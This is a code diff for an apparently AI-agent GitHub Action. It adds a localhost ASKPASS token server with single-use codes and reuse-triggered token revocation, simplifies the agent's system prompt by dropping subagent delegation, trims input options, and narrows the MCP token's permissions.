expect(content).not.toContain("ghs_script_test");
|
||||
});
|
||||
|
||||
it("script handles Username prompt locally (no server call)", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const code = server.register("ghs_username_test");
|
||||
const scriptPath = server.writeAskpassScript(code);
|
||||
const content = readFileSync(scriptPath, "utf-8");
|
||||
|
||||
// script checks for /^Username/i and returns "x-access-token" without HTTP
|
||||
expect(content).toContain("Username");
|
||||
expect(content).toContain("x-access-token");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,161 @@
|
||||
/**
|
||||
* ASKPASS-based git authentication server.
|
||||
*
|
||||
* serves tokens via a localhost HTTP server with single-use UUID codes.
|
||||
* each $git() call gets a unique askpass script with the port+code baked in.
|
||||
* the token never appears in subprocess env — only the script file path.
|
||||
*
|
||||
* tamper-evident: if a code is used twice, the second request triggers
|
||||
* immediate token revocation via the GitHub API as a precaution.
|
||||
*/
|
||||
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { writeFileSync } from "node:fs";
|
||||
import { createServer } from "node:http";
|
||||
import { join } from "node:path";
|
||||
import { log } from "./cli.ts";
|
||||
|
||||
type CodeState = "pending" | "consumed";
|
||||
|
||||
type PendingCode = {
|
||||
token: string;
|
||||
state: CodeState;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
const CODE_TTL_MS = 5 * 60 * 1000;
|
||||
const TAMPER_WINDOW_MS = 60_000;
|
||||
|
||||
export type GitAuthServer = {
|
||||
port: number;
|
||||
register: (token: string) => string;
|
||||
writeAskpassScript: (code: string) => string;
|
||||
close: () => Promise<void>;
|
||||
[Symbol.asyncDispose]: () => Promise<void>;
|
||||
};
|
||||
|
||||
function revokeGitHubToken(token: string): void {
|
||||
fetch("https://api.github.com/installation/token", {
|
||||
method: "DELETE",
|
||||
headers: {
|
||||
Authorization: `Bearer ${token}`,
|
||||
Accept: "application/vnd.github+json",
|
||||
"User-Agent": "pullfrog",
|
||||
},
|
||||
}).then(
|
||||
(r) => log.info(`token revocation response: ${r.status}`),
|
||||
() => log.warning("token revocation request failed")
|
||||
);
|
||||
}
|
||||
|
||||
export async function startGitAuthServer(tmpdir: string): Promise<GitAuthServer> {
|
||||
const codes = new Map<string, PendingCode>();
|
||||
|
||||
const server = createServer((req, res) => {
|
||||
if (req.method !== "GET") {
|
||||
res.writeHead(405).end();
|
||||
return;
|
||||
}
|
||||
|
||||
const code = req.url?.slice(1);
|
||||
if (!code) {
|
||||
res.writeHead(400).end();
|
||||
return;
|
||||
}
|
||||
|
||||
const entry = codes.get(code);
|
||||
if (!entry) {
|
||||
res.writeHead(404).end();
|
||||
return;
|
||||
}
|
||||
|
||||
if (entry.state === "pending") {
|
||||
// first use — return token, keep entry for tamper detection
|
||||
entry.state = "consumed";
|
||||
clearTimeout(entry.timeout);
|
||||
entry.timeout = setTimeout(() => codes.delete(code), TAMPER_WINDOW_MS);
|
||||
entry.timeout.unref();
|
||||
res.writeHead(200, { "Content-Type": "text/plain" });
|
||||
res.end(entry.token);
|
||||
return;
|
||||
}
|
||||
|
||||
// second request for same code — revoke token as a precaution
|
||||
log.info("askpass code used twice — revoking token");
|
||||
revokeGitHubToken(entry.token);
|
||||
clearTimeout(entry.timeout);
|
||||
codes.delete(code);
|
||||
res.writeHead(409, { "Content-Type": "text/plain" });
|
||||
res.end("compromised");
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
server.on("error", reject);
|
||||
server.listen(0, "127.0.0.1", () => resolve());
|
||||
});
|
||||
|
||||
const rawAddr = server.address();
|
||||
if (!rawAddr || typeof rawAddr === "string") {
|
||||
throw new Error("git auth server failed to bind");
|
||||
}
|
||||
const port = rawAddr.port;
|
||||
|
||||
log.debug(`git auth server listening on 127.0.0.1:${port}`);
|
||||
|
||||
function register(token: string): string {
|
||||
const code = randomUUID();
|
||||
const timeout = setTimeout(() => {
|
||||
codes.delete(code);
|
||||
log.debug(`git auth code expired: ${code.slice(0, 8)}...`);
|
||||
}, CODE_TTL_MS);
|
||||
timeout.unref();
|
||||
codes.set(code, { token, state: "pending", timeout });
|
||||
return code;
|
||||
}
|
||||
|
||||
function writeAskpassScript(code: string): string {
|
||||
const scriptId = randomUUID();
|
||||
const scriptName = `askpass-${scriptId}.js`;
|
||||
const scriptPath = join(tmpdir, scriptName);
|
||||
|
||||
// standalone node script — no project dependencies.
|
||||
// git calls this twice: once for "Username for ..." and once for "Password for ...".
|
||||
// username: return "x-access-token" locally (no server call).
|
||||
// password: fetch token from auth server, self-delete, return token.
|
||||
// 409 = code was already consumed by another process (tamper detected).
|
||||
const content = [
|
||||
`#!/usr/bin/env node`,
|
||||
`var a=process.argv[2]||"";`,
|
||||
`if(/^Username/i.test(a)){process.stdout.write("x-access-token\\n")}`,
|
||||
`else{var h=require("http");`,
|
||||
`h.get("http://127.0.0.1:${port}/${code}",function(r){`,
|
||||
`if(r.statusCode===409){process.stderr.write("askpass-compromised\\n");process.exit(1)}`,
|
||||
`if(r.statusCode!==200){process.exit(1)}`,
|
||||
`var d="";r.on("data",function(c){d+=c});`,
|
||||
`r.on("end",function(){`,
|
||||
`process.stdout.write(d+"\\n");`,
|
||||
`try{require("fs").unlinkSync("${scriptPath.replace(/\\/g, "\\\\")}")}catch(e){}`,
|
||||
`})}).on("error",function(){process.exit(1)})}`,
|
||||
].join("\n");
|
||||
|
||||
writeFileSync(scriptPath, content, { mode: 0o700 });
|
||||
return scriptPath;
|
||||
}
|
||||
|
||||
async function close(): Promise<void> {
|
||||
for (const entry of codes.values()) {
|
||||
clearTimeout(entry.timeout);
|
||||
}
|
||||
codes.clear();
|
||||
await new Promise<void>((resolve) => server.close(() => resolve()));
|
||||
log.debug("git auth server closed");
|
||||
}
|
||||
|
||||
return {
|
||||
port,
|
||||
register,
|
||||
writeAskpassScript,
|
||||
close,
|
||||
[Symbol.asyncDispose]: close,
|
||||
};
|
||||
}
|
||||
+1
-1
@@ -302,7 +302,7 @@ async function acquireTokenViaGitHubApp(opts?: AcquireTokenOptions): Promise<str
|
||||
*/
|
||||
export async function ensureGitHubToken(): Promise<void> {
|
||||
if (!process.env.GITHUB_TOKEN && !process.env.GH_TOKEN) {
|
||||
if (process.env.GITHUB_APP_ID && process.env.GITHUB_PRIVATE_KEY) {
|
||||
if (isOIDCAvailable() || (process.env.GITHUB_APP_ID && process.env.GITHUB_PRIVATE_KEY)) {
|
||||
const token = await acquireNewToken();
|
||||
process.env.GITHUB_TOKEN = token;
|
||||
}
|
||||
|
||||
+12
-45
@@ -84,8 +84,6 @@ function buildEventMetadata(event: PayloadEvent): string {
|
||||
}
|
||||
|
||||
function getShellInstructions(shell: ResolvedPayload["shell"]): string {
|
||||
const backgroundInstructions = `For long-running processes (dev servers, watchers), use \`shell({ command, background: true })\` which returns a handle. Use \`${ghPullfrogMcpName}/kill_background\` to stop background processes by handle.`;
|
||||
|
||||
switch (shell) {
|
||||
case "disabled":
|
||||
return `### Shell commands
|
||||
@@ -94,11 +92,11 @@ Shell command execution is DISABLED. Do not attempt to run shell commands.`;
|
||||
case "restricted":
|
||||
return `### Shell commands
|
||||
|
||||
Use the \`${ghPullfrogMcpName}/shell\` MCP tool for all shell command execution. This tool provides a secure environment with filtered credentials. Do NOT use any native shell tool - it is disabled for security. ${backgroundInstructions}`;
|
||||
Use the \`${ghPullfrogMcpName}/shell\` MCP tool for all shell command execution. This tool provides a secure environment with filtered credentials. Do NOT use any native shell tool — it is disabled for security. For long-running processes (dev servers, watchers), use \`shell({ command, background: true })\`. Use \`${ghPullfrogMcpName}/kill_background\` to stop background processes.`;
|
||||
case "enabled":
|
||||
return `### Shell commands
|
||||
|
||||
Use your native shell tool for shell command execution. ${backgroundInstructions}`;
|
||||
Use your native shell tool for shell command execution.`;
|
||||
default: {
|
||||
const _exhaustive: never = shell;
|
||||
return _exhaustive satisfies never;
|
||||
@@ -109,13 +107,7 @@ Use your native shell tool for shell command execution. ${backgroundInstructions
|
||||
function getFileInstructions(): string {
|
||||
return `### File operations
|
||||
|
||||
Use the \`${ghPullfrogMcpName}\` MCP file tools for all file operations. Do NOT use any native file read/write/edit tools — they are disabled. Available tools:
|
||||
- \`file_read\` / \`file_write\` — read and write files
|
||||
- \`file_edit\` — targeted text replacement (prefer over read-then-write for existing files)
|
||||
- \`file_delete\` — remove files
|
||||
- \`list_directory\` — list directory contents
|
||||
|
||||
All file tools enforce repository-scoped access and prevent modifications to .git/.`;
|
||||
Use your native file read/write/edit tools for all file operations.`;
|
||||
}
|
||||
|
||||
function getStandaloneModeInstructions(
|
||||
@@ -135,7 +127,7 @@ function getStandaloneModeInstructions(
|
||||
You are running as a step in a user-defined CI workflow. ${outputRequirement}`;
|
||||
}
|
||||
|
||||
// shared system prompt body used by both orchestrator and subagent instructions.
|
||||
// shared system prompt body.
|
||||
// the priority order and YOUR TASK section differ — callers compose those separately.
|
||||
interface SystemPromptContext {
|
||||
shell: ResolvedPayload["shell"];
|
||||
@@ -195,7 +187,7 @@ Rules:
|
||||
|
||||
### GitHub
|
||||
|
||||
Use MCP tools from ${ghPullfrogMcpName} for all GitHub operations. Never use the \`gh\` CLI — it is not authenticated and will fail. The MCP tools handle authentication, enforce permissions, and integrate with the delegation system.
|
||||
Use MCP tools from ${ghPullfrogMcpName} for all GitHub operations. Never use the \`gh\` CLI — it is not authenticated and will fail. The MCP tools handle authentication and enforce permissions.
|
||||
|
||||
${getShellInstructions(ctx.shell)}
|
||||
|
||||
@@ -352,51 +344,26 @@ ${ctx.contextSections}`;
|
||||
export function resolveInstructions(ctx: InstructionsContext): ResolvedInstructions {
|
||||
const inputs = buildCommonInputs(ctx);
|
||||
|
||||
const orchestratorTaskSection = `**Required!** You are an orchestrator. You do not perform tasks directly — you delegate to specialized subagents and handle all state-mutating and user-facing GitHub operations yourself.
|
||||
const orchestratorTaskSection = `You execute tasks directly using your native tools and the ${ghPullfrogMcpName} MCP server.
|
||||
|
||||
### Step 1: Select a mode
|
||||
|
||||
Call \`${ghPullfrogMcpName}/select_mode\` with the appropriate mode name. This returns **your workflow** — a step-by-step playbook you must follow, including:
|
||||
- **Pre-delegation actions** you must perform (checkout, branch creation, setup)
|
||||
- **Delegation instructions** (how to craft subagent prompts, what to include)
|
||||
- **Post-delegation actions** you must perform (push, PR creation, review submission, progress reporting)
|
||||
Call \`${ghPullfrogMcpName}/select_mode\` with the appropriate mode name. This returns **your workflow** — a step-by-step playbook you must follow.
|
||||
|
||||
**Follow the returned guidance as your primary instruction set.** Do not improvise — the guidance defines what you do vs. what subagents do.
|
||||
**Follow the returned guidance as your primary instruction set.** Do not improvise — the guidance defines the exact steps.
|
||||
|
||||
Available modes:
|
||||
${ctx.modes.map((m) => `- "${m.name}": ${m.description}`).join("\n")}
|
||||
|
||||
### Step 2: Delegate
|
||||
### Step 2: Execute
|
||||
|
||||
Call \`${ghPullfrogMcpName}/delegate\` to fan out research, local coding tasks, and codebase investigations to subagents. Pass a \`tasks\` array. Each task has:
|
||||
- \`label\`: Short identifier (e.g. "frontend-review", "schema-check"). Returned in results for matching.
|
||||
- \`instructions\`: The subagent receives ONLY this text (plus a system preamble with tool documentation and resolved context). Include everything it needs: file paths, constraints, conventions, and any context from the codebase or previous phases.
|
||||
- \`effort\` (optional): \`"mini"\`, \`"auto"\` (default), or \`"max"\`.
|
||||
Follow the mode guidance to complete the task. Use your native file and shell tools for local operations, and the ${ghPullfrogMcpName} MCP tools for GitHub/git operations.
|
||||
|
||||
All tasks in a single \`delegate\` call run as **parallel subagents**. For sequential phases (plan → build → review), use separate \`delegate\` calls.
|
||||
|
||||
To investigate questions, prefer \`${ghPullfrogMcpName}/ask_question\` over \`${ghPullfrogMcpName}/delegate\`.
|
||||
|
||||
### Step 3: Post-delegation
|
||||
|
||||
After each \`delegate\` call, you receive a \`results\` array — one entry per task with \`label\`, \`success\`, \`summary\` (from set_output), and \`stdoutFile\` (inspectable via \`${ghPullfrogMcpName}/file_read\`). Follow the post-delegation steps from the select_mode guidance.
|
||||
|
||||
### Subagent capabilities
|
||||
|
||||
Subagents have: file operations, shell (for local git, tests, builds), read-only GitHub queries, and upload_file. They do NOT have: \`git\`, \`checkout_pr\`, \`push_branch\`, \`create_pull_request\`, \`create_pull_request_review\`, \`report_progress\`, \`create_issue_comment\`, \`reply_to_review_comment\`, \`resolve_review_thread\`, \`delegate\`, \`ask_question\`, or any dependency/remote-mutating tools. All GitHub-write and state-mutating operations are your responsibility.
|
||||
|
||||
### Prompt-crafting rules
|
||||
|
||||
- Subagents have NO context beyond what you write. No repo instructions, no event data, no user prompt.
|
||||
- Specify exactly what information the subagent should return. The subagent's \`set_output\` call is your only way to get results back — be precise about what you need.
|
||||
- Instruct subagents to use shell for local git (\`git add\`, \`git commit\`, \`git diff\`, \`git status\`).
|
||||
- Never instruct a subagent to push, create PRs, submit reviews, or post comments.
|
||||
- For multi-phase flows, pass results from earlier phases into the next delegate call's prompts.
|
||||
- You do NOT need to instruct subagents to call \`set_output\` — the system preamble handles this.
|
||||
When done, call \`${ghPullfrogMcpName}/set_output\` with the final result. This makes it available as the GitHub Action output.
|
||||
|
||||
### No-action cases
|
||||
|
||||
If the task clearly requires no work, skip delegation. Call \`${ghPullfrogMcpName}/report_progress\` directly to explain why no action is needed.`;
|
||||
If the task clearly requires no work, call \`${ghPullfrogMcpName}/report_progress\` directly to explain why no action is needed.`;
|
||||
|
||||
const system = buildSystemPrompt({
|
||||
shell: ctx.payload.shell,
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ import { table } from "table";
|
||||
import type { AgentUsage } from "../agents/shared.ts";
|
||||
import { isGitHubActions, isInsideDocker } from "./globals.ts";
|
||||
|
||||
// --- subagent log prefix via AsyncLocalStorage ---
|
||||
// --- log prefix via AsyncLocalStorage ---
|
||||
|
||||
type LogContext = { prefix: string };
|
||||
|
||||
|
||||
+5
-40
@@ -8,12 +8,6 @@ describe("Inputs schema", () => {
|
||||
});
|
||||
|
||||
it.each([
|
||||
["web", "enabled"],
|
||||
["web", "disabled"],
|
||||
["web", undefined],
|
||||
["search", "enabled"],
|
||||
["search", "disabled"],
|
||||
["search", undefined],
|
||||
["push", "enabled"],
|
||||
["push", "disabled"],
|
||||
["push", undefined],
|
||||
@@ -21,31 +15,19 @@ describe("Inputs schema", () => {
|
||||
["shell", "restricted"],
|
||||
["shell", "disabled"],
|
||||
["shell", undefined],
|
||||
["effort", "mini"],
|
||||
["effort", "auto"],
|
||||
["effort", "max"],
|
||||
["timeout", "10m"],
|
||||
["timeout", "1h30m"],
|
||||
["timeout", "30s"],
|
||||
["timeout", undefined],
|
||||
["agent", "claude"],
|
||||
["agent", "codex"],
|
||||
["agent", "cursor"],
|
||||
["agent", "gemini"],
|
||||
["agent", "opencode"],
|
||||
// ['agent', null],
|
||||
] as const)("should accept %s for %s", (prop, value) => {
|
||||
const input = { prompt: "test", [prop]: value };
|
||||
expect(() => Inputs.assert(input)).not.toThrow();
|
||||
});
|
||||
|
||||
it.each([["web"], ["search"], ["push"], ["shell"], ["effort"], ["agent"]] as const)(
|
||||
"should reject invalid %s values",
|
||||
(prop) => {
|
||||
const input = { prompt: "test", [prop]: "invalid" as any };
|
||||
expect(() => Inputs.assert(input)).toThrow();
|
||||
}
|
||||
);
|
||||
it.each([["push"], ["shell"]] as const)("should reject invalid %s values", (prop) => {
|
||||
const input = { prompt: "test", [prop]: "invalid" as any };
|
||||
expect(() => Inputs.assert(input)).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("JsonPayload schema", () => {
|
||||
@@ -62,30 +44,13 @@ describe("JsonPayload schema", () => {
|
||||
});
|
||||
|
||||
it.each([
|
||||
["agent", "claude"],
|
||||
["agent", "codex"],
|
||||
["agent", "cursor"],
|
||||
["agent", "gemini"],
|
||||
["agent", "opencode"],
|
||||
["effort", "mini"],
|
||||
["effort", "auto"],
|
||||
["effort", "max"],
|
||||
["timeout", "10m"],
|
||||
["timeout", "1h30m"],
|
||||
["timeout", "30s"],
|
||||
["model", "anthropic/claude-opus"],
|
||||
["event", { trigger: "unknown" }],
|
||||
] as const)("should accept optional %s with value %s", (prop, value) => {
|
||||
const input = { "~pullfrog": true, version: "1.2.3", prompt: "test prompt", [prop]: value };
|
||||
expect(() => JsonPayload.assert(input)).not.toThrow();
|
||||
});
|
||||
|
||||
it.each([["agent"], ["effort"]] as const)("should reject invalid %s values", (prop) => {
|
||||
const input = {
|
||||
"~pullfrog": true,
|
||||
version: "1.2.3",
|
||||
prompt: "test prompt",
|
||||
[prop]: "invalid" as any,
|
||||
};
|
||||
expect(() => JsonPayload.assert(input)).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
+6
-30
@@ -1,13 +1,12 @@
|
||||
import { isAbsolute, resolve } from "node:path";
|
||||
import * as core from "@actions/core";
|
||||
import { type } from "arktype";
|
||||
import { AgentName, type AuthorPermission, Effort, type PayloadEvent } from "../external.ts";
|
||||
import type { AuthorPermission, PayloadEvent } from "../external.ts";
|
||||
import packageJson from "../package.json" with { type: "json" };
|
||||
import type { RepoSettings } from "./runContext.ts";
|
||||
import { validateCompatibility } from "./versioning.ts";
|
||||
|
||||
// tool permission enum types for inputs
|
||||
const ToolPermissionInput = type.enumerated("disabled", "enabled");
|
||||
const ShellPermissionInput = type.enumerated("disabled", "restricted", "enabled");
|
||||
const PushPermissionInput = type.enumerated("disabled", "restricted", "enabled");
|
||||
|
||||
@@ -17,16 +16,14 @@ const PushPermissionInput = type.enumerated("disabled", "restricted", "enabled")
|
||||
export const JsonPayload = type({
|
||||
"~pullfrog": "true",
|
||||
version: "string",
|
||||
"agent?": AgentName.or("undefined"),
|
||||
"model?": "string | undefined",
|
||||
prompt: "string",
|
||||
"triggerer?": "string | undefined",
|
||||
|
||||
"eventInstructions?": "string",
|
||||
"event?": "object",
|
||||
"effort?": Effort.or("undefined"),
|
||||
"timeout?": "string | undefined",
|
||||
"progressCommentId?": "string | undefined",
|
||||
"debug?": "boolean | undefined",
|
||||
});
|
||||
|
||||
// permission levels that indicate collaborator status (have push access)
|
||||
@@ -45,11 +42,8 @@ function isCollaborator(event: PayloadEvent): boolean {
|
||||
// if included, must match the type - so we need to explicitly allow undefined.
|
||||
export const Inputs = type({
|
||||
prompt: "string",
|
||||
"effort?": Effort.or("undefined"),
|
||||
"model?": type.string.or("undefined"),
|
||||
"timeout?": type.string.or("undefined"),
|
||||
"agent?": AgentName.or("undefined"),
|
||||
"web?": ToolPermissionInput.or("undefined"),
|
||||
"search?": ToolPermissionInput.or("undefined"),
|
||||
"push?": PushPermissionInput.or("undefined"),
|
||||
"shell?": ShellPermissionInput.or("undefined"),
|
||||
"cwd?": type.string.or("undefined"),
|
||||
@@ -58,10 +52,6 @@ export const Inputs = type({
|
||||
|
||||
export type Inputs = typeof Inputs.infer;
|
||||
|
||||
function isAgentName(value: unknown): value is AgentName {
|
||||
return typeof value === "string" && AgentName(value) instanceof type.errors === false;
|
||||
}
|
||||
|
||||
function isPayloadEvent(value: unknown): value is PayloadEvent {
|
||||
return typeof value === "object" && value !== null && "trigger" in value;
|
||||
}
|
||||
@@ -99,12 +89,9 @@ export function resolvePromptInput(): ResolvedPromptInput {
|
||||
|
||||
function resolveNonPromptInputs() {
|
||||
return Inputs.omit("prompt").assert({
|
||||
effort: core.getInput("effort") || undefined,
|
||||
model: core.getInput("model") || undefined,
|
||||
timeout: core.getInput("timeout") || undefined,
|
||||
agent: core.getInput("agent") || undefined,
|
||||
cwd: core.getInput("cwd") || undefined,
|
||||
web: core.getInput("web") || undefined,
|
||||
search: core.getInput("search") || undefined,
|
||||
push: core.getInput("push") || undefined,
|
||||
shell: core.getInput("shell") || undefined,
|
||||
});
|
||||
@@ -126,18 +113,11 @@ export function resolvePayload(
|
||||
|
||||
const inputs = resolveNonPromptInputs();
|
||||
|
||||
// validate agent name
|
||||
const agent: AgentName | undefined =
|
||||
inputs.agent !== undefined && isAgentName(inputs.agent) ? inputs.agent : undefined;
|
||||
|
||||
// resolve event - use type guard for jsonPayload.event, fallback to unknown trigger
|
||||
const rawEvent = jsonPayload?.event;
|
||||
const event: PayloadEvent = isPayloadEvent(rawEvent) ? rawEvent : { trigger: "unknown" };
|
||||
|
||||
// resolve agent from jsonPayload with type guard
|
||||
const jsonAgent = jsonPayload?.agent;
|
||||
const resolvedAgent: AgentName | undefined =
|
||||
agent ?? (jsonAgent !== undefined && isAgentName(jsonAgent) ? jsonAgent : undefined);
|
||||
const model = jsonPayload?.model ?? inputs.model ?? repoSettings.model ?? undefined;
|
||||
|
||||
// determine shell permission - strictest setting wins
|
||||
// precedence: disabled > restricted > enabled
|
||||
@@ -166,7 +146,7 @@ export function resolvePayload(
|
||||
return {
|
||||
"~pullfrog": true as const,
|
||||
version: jsonPayload?.version ?? packageJson.version,
|
||||
agent: resolvedAgent,
|
||||
model,
|
||||
prompt,
|
||||
triggerer:
|
||||
jsonPayload?.triggerer ??
|
||||
@@ -174,15 +154,11 @@ export function resolvePayload(
|
||||
(!isPullfrog(process.env.GITHUB_ACTOR) ? process.env.GITHUB_ACTOR : undefined),
|
||||
eventInstructions: jsonPayload?.eventInstructions,
|
||||
event,
|
||||
effort: inputs.effort ?? jsonPayload?.effort ?? "auto",
|
||||
timeout: inputs.timeout ?? jsonPayload?.timeout,
|
||||
cwd: resolveCwd(inputs.cwd),
|
||||
progressCommentId: jsonPayload?.progressCommentId,
|
||||
debug: jsonPayload?.debug,
|
||||
|
||||
// permissions: inputs > repoSettings > fallbacks
|
||||
web: inputs.web ?? repoSettings.web ?? "enabled",
|
||||
search: inputs.search ?? repoSettings.search ?? "enabled",
|
||||
push: inputs.push ?? repoSettings.push ?? "restricted",
|
||||
shell: resolvedShell,
|
||||
};
|
||||
|
||||
@@ -82,11 +82,10 @@ async function dispatchFollowUpReReview(ctx: ToolContext, reviewedSha: string):
|
||||
const payload: WriteablePayload = {
|
||||
"~pullfrog": true,
|
||||
version: ctx.payload.version,
|
||||
agent: ctx.payload.agent,
|
||||
model: ctx.payload.model,
|
||||
prompt: "",
|
||||
eventInstructions: RE_REVIEW_PREAMBLE,
|
||||
event,
|
||||
effort: "max",
|
||||
};
|
||||
|
||||
await ctx.octokit.rest.actions.createWorkflowDispatch({
|
||||
|
||||
+3
-8
@@ -1,4 +1,4 @@
|
||||
import type { AgentName, PushPermission, ShellPermission, ToolPermission } from "../external.ts";
|
||||
import type { PushPermission, ShellPermission } from "../external.ts";
|
||||
import { apiFetch } from "./apiFetch.ts";
|
||||
import type { RepoContext } from "./github.ts";
|
||||
|
||||
@@ -10,12 +10,10 @@ export interface Mode {
|
||||
}
|
||||
|
||||
export interface RepoSettings {
|
||||
defaultAgent: AgentName | null;
|
||||
model: string | null;
|
||||
modes: Mode[];
|
||||
setupScript: string | null;
|
||||
postCheckoutScript: string | null;
|
||||
web: ToolPermission;
|
||||
search: ToolPermission;
|
||||
push: PushPermission;
|
||||
shell: ShellPermission;
|
||||
prApproveEnabled: boolean;
|
||||
@@ -28,12 +26,10 @@ export interface RunContext {
|
||||
}
|
||||
|
||||
const defaultSettings: RepoSettings = {
|
||||
defaultAgent: null,
|
||||
model: null,
|
||||
modes: [],
|
||||
setupScript: null,
|
||||
postCheckoutScript: null,
|
||||
web: "enabled",
|
||||
search: "enabled",
|
||||
push: "restricted",
|
||||
shell: "restricted",
|
||||
prApproveEnabled: false,
|
||||
@@ -87,7 +83,6 @@ export async function fetchRunContext(params: {
|
||||
settings: {
|
||||
...defaultSettings,
|
||||
...data.settings,
|
||||
// ensure arrays are never undefined (API may omit new fields for existing repos)
|
||||
modes: data.settings?.modes ?? [],
|
||||
setupScript: data.settings?.setupScript ?? null,
|
||||
postCheckoutScript: data.settings?.postCheckoutScript ?? null,
|
||||
|
||||
+3
-3
@@ -135,8 +135,8 @@ export async function setupGit(params: SetupGitParams): Promise<void> {
|
||||
|
||||
// remove includeIf entries that actions/checkout@v6 uses for credential persistence.
|
||||
// v6 stores credentials in an external file loaded via includeIf.gitdir, which our
|
||||
// --unset-all above doesn't catch. without this, $git() would produce duplicate
|
||||
// Authorization headers (one from includeIf, one from GIT_CONFIG_PARAMETERS).
|
||||
// --unset-all above doesn't catch. without this, stale credentials from actions/checkout
|
||||
// would be sent alongside ASKPASS-provided credentials.
|
||||
try {
|
||||
const configOutput = execSync("git config --local --get-regexp ^includeif\\.", {
|
||||
cwd: repoDir,
|
||||
@@ -156,7 +156,7 @@ export async function setupGit(params: SetupGitParams): Promise<void> {
|
||||
log.debug("» no includeIf credential entries to remove");
|
||||
}
|
||||
|
||||
// SECURITY: set origin URL without token - auth is injected via GIT_CONFIG_PARAMETERS
|
||||
// SECURITY: set origin URL without token - auth is injected via GIT_ASKPASS
|
||||
// in $git() calls. this prevents token leakage to git hooks and subprocesses.
|
||||
const originUrl = `https://github.com/${params.owner}/${params.name}.git`;
|
||||
$("git", ["remote", "set-url", "origin", originUrl], { cwd: repoDir });
|
||||
|
||||
@@ -192,7 +192,6 @@ export async function spawn(options: SpawnOptions): Promise<SpawnResult> {
|
||||
|
||||
if (isActivityTimedOut) {
|
||||
const idleSec = Math.round((performance.now() - lastActivityTime) / 1000);
|
||||
// matched by delegateTimeout test validator — update tests if changed
|
||||
reject(new Error(`activity timeout: no output for ${idleSec}s`));
|
||||
return;
|
||||
}
|
||||
|
||||
+16
-3
@@ -100,12 +100,25 @@ export async function resolveTokens(params: ResolveTokensParams): Promise<TokenR
|
||||
.join(", ")})`
|
||||
);
|
||||
|
||||
// create full MCP token - not exfiltratable (only accessible via MCP tools)
|
||||
const mcpToken = await acquireNewToken();
|
||||
// MCP token scoped to only what MCP tools actually need.
|
||||
// not exfiltratable (only accessible via MCP tools), but scoped as defense-in-depth
|
||||
// so even a compromised tool context can't touch secrets, admin, etc.
|
||||
const mcpPermissions = {
|
||||
contents: "write",
|
||||
pull_requests: "write",
|
||||
issues: "write",
|
||||
checks: "read",
|
||||
actions: "read",
|
||||
} as const;
|
||||
const mcpToken = await acquireNewToken({ permissions: mcpPermissions });
|
||||
if (isGitHubActions) {
|
||||
core.setSecret(mcpToken);
|
||||
}
|
||||
log.info("» acquired full MCP token");
|
||||
log.info(
|
||||
`» acquired scoped MCP token (${Object.entries(mcpPermissions)
|
||||
.map((e) => e.join(":"))
|
||||
.join(", ")})`
|
||||
);
|
||||
|
||||
mcpTokenValue = mcpToken;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user